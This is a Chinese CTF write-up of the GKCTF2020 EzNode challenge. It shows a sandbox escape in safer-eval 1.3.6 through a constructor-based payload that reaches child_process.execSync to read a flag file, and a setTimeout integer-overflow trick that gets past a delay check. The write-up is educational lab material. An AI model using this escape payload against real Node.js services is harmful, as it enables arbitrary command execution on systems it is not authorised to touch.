[GKCTF2020]EZ三劍客-EzNode


[GKCTF2020]EZ三劍客-EzNode

點擊源碼查看

const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一個很棒的庫

讀一下這句話就覺得不對勁(web狗的直覺

查看版本

{
  "name": "src",
  "version": "1.0.0",
  "main": "index.js",
  "license": "MIT",
  "dependencies": {
    "body-parser": "1.19.0",
    "express": "4.17.1",
    "safer-eval": "1.3.6"
  }
}

版本為1.3.6

搜一下該版本,發現存在該版本下的safe-eval沙箱逃逸

https://github.com/commenthol/safer-eval/issues/10

payload

(function () {

const process = clearImmediate.constructor("return process;")();

return process.mainModule.require("child_process").execSync("cat /flag").toString()})()

delay參數做了限制,不能超過1000ms.

// 2020.1/WORKER2 老板說為了后期方便優化
app.use((req, res, next) => {
  if (req.path === '/eval') {
    let delay = 60 * 1000;
    console.log(delay);
    if (Number.isInteger(parseInt(req.query.delay))) {
      delay = Math.max(delay, parseInt(req.query.delay));
    }
    const t = setTimeout(() => next(), delay);
    // 2020.1/WORKER3 老板說讓我優化一下速度,我就直接這樣寫了,其他人寫了啥關我p事
    setTimeout(() => {
      clearTimeout(t);
      console.log('timeout');
      try {
        res.send('Timeout!');
      } catch (e) {

      }
    }, 1000);
  } else {
    next();
  }
});

過客師傅的博客

https://guokeya.github.io/post/a45x0caHd/

這里的意思就是。我們傳入一個delay和原先定義的60000進行比較。大的值復制給delay

然后作為timeout的值傳入

顯然。默認定義超時6秒。進入下個路由。

但是我們的代碼不能超時6秒。也就不能進去下個路由執行沙盒逃逸了

那么問題就出在這個settimeout函數上。

此處利用int溢出的方法來繞過,利用科學計數法構造delay=99999999e999

查看wp后發現大於2147483647就可以不超時,所以設置為2147483648就可以了

(會被settimeout設置為1,這樣就滿足條件了)

image-20200806155120364

抓個包,修改下delay的值和e

image-20200806154714914


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM